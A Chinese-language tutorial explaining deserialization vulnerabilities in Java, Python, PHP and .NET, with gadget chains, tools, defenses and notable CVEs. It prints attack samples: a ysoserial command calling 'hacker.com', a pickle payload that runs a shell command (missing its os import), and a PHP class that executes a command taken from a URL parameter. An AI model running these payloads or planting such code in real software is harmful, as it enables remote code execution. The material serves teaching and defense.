反序列化漏洞深度解析:从数据到远程代码执行

反序列化漏洞深度解析:从数据到远程代码执行

1. 反序列化漏洞核心原理

反序列化是将序列化的数据(如JSON/XML/二进制)还原为对象的过程。当程序反序列化不可信数据时,攻击者通过精心构造的恶意数据可实现:

  • 任意代码执行(RCE)

  • 内存破坏(如缓冲区溢出)

  • 敏感信息泄露

高危语言
🔥 Java(Apache Commons Collections)
🔥 Python(pickle模块)
🔥 PHP(__wakeup魔术方法)
🔥 .NET(BinaryFormatter)

2. 攻击类型与漏洞链条

(1) Java反序列化(Apache Commons为例)
// 恶意序列化数据生成
ObjectInputStream ois = new ObjectInputStream(evilPayload);
ois.readObject(); // 触发漏洞

利用链
AnnotationInvocationHandler → TransformedMap → InvokerTransformer
工具

  • ysoserial(生成Payload)

  • java -jar ysoserial.jar CommonsCollections5 'curl hacker.com' > payload.bin
(2) Python pickle漏洞
import pickle
import base64

class Evil:
    def __reduce__(self):
        return (os.system, ('whoami',))

pickle.dump(Evil(), open('payload.pkl','wb'))

防御方案:使用jsonmarshal替代

(3) PHP对象注入
// 漏洞代码
unserialize($_COOKIE['data']);

// 恶意对象
class Evil {
    function __wakeup() {
        system($_GET['cmd']);
    }
}
echo serialize(new Evil());
// 输出:O:4:"Evil":0:{}

3. 高级绕过技术

(1) 反射型链构造
  • 利用java.lang.reflect.Proxy动态代理

  • 通过Method.invoke()调用任意方法

(2) 二次反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(data);
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = ois.readObject(); // 第一次反序列化

// 恶意对象触发第二次反序列化
if (obj instanceof Runnable) {
    ((Runnable) obj).run();
}
(3) 内存布局攻击(.NET)
  • 篡改SerializationInfo对象内存结构

  • 利用ISerializable接口实现类型混淆

4. 自动化漏洞检测

工具 适用语言 功能
ysoserial Java 生成反序列化Payload
phpggc PHP 生成POP链
dottyserial .NET 可视化链构造
GadgetProbe 多语言 探测可用组件

Burp插件

  • JavaSerialKiller(实时检测Java反序列化)

  • Freddy(自动化扫描.NET)


5. 企业级防御方案

(1) 代码层防护
  • 白名单校验(仅允许安全类)

  • ObjectInputFilter filter = info -> 
        info.serialClass().getName().equals("SafeClass") ? 
            Status.ALLOWED : Status.REJECTED;
  • 签名验证(HMAC校验数据完整性)
  • import hmac
    key = b'secret'
    data = request.get_data()
    if not hmac.compare_digest(hmac.new(key, data).hexdigest(), 
                             request.headers['X-Signature']):
        abort(403)
**(2) 架构层防护
  • 沙箱环境(单独容器运行反序列化)

  • RASP防护(实时阻断危险行为)

  • # OpenRASP配置示例
    {
      "hook": [
        { "class": "java.io.ObjectInputStream", 
          "method": "readObject", 
          "action": "block" }
      ]
    }
(3) 云原生方案
  • 服务网格mTLS(防止流量劫持)

  • 策略即代码(OPA策略示例):

  • deny[msg] {
      input.kind == "Deserialization"
      not input.signer == "trusted"
      msg := "Untrusted deserialization attempt"
    }

6. 历史经典漏洞

CVE 影响组件 后果
CVE-2015-4852 Apache Commons Collections RCE
CVE-2017-9841 PHPUnit 远程代码执行
CVE-2020-2555 WebLogic 服务器接管
CVE-2021-44228 Log4j2 全球性RCE

Log4j2攻击链
JNDI Lookup → LDAP注入 → 远程类加载

7. 安全开发实践

  1. 避免反序列化接口暴露

    • 禁用ObjectInputStream直接接收网络数据

  2. 升级组件版本

<!-- Maven示例 -->
<dependency>
  <groupId>commons-collections</groupId>
  <artifactId>commons-collections</artifactId>
  <version>3.2.2</version> <!-- 安全版本 -->
</dependency>
  1. 日志监控关键词
  • java.io.ObjectInputStream

  • InvokerTransformer

  • \xac\xed(Java序列化魔术字)

 

 

 

 

© 版权声明
THE END
喜欢就支持一下吧
点赞10 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容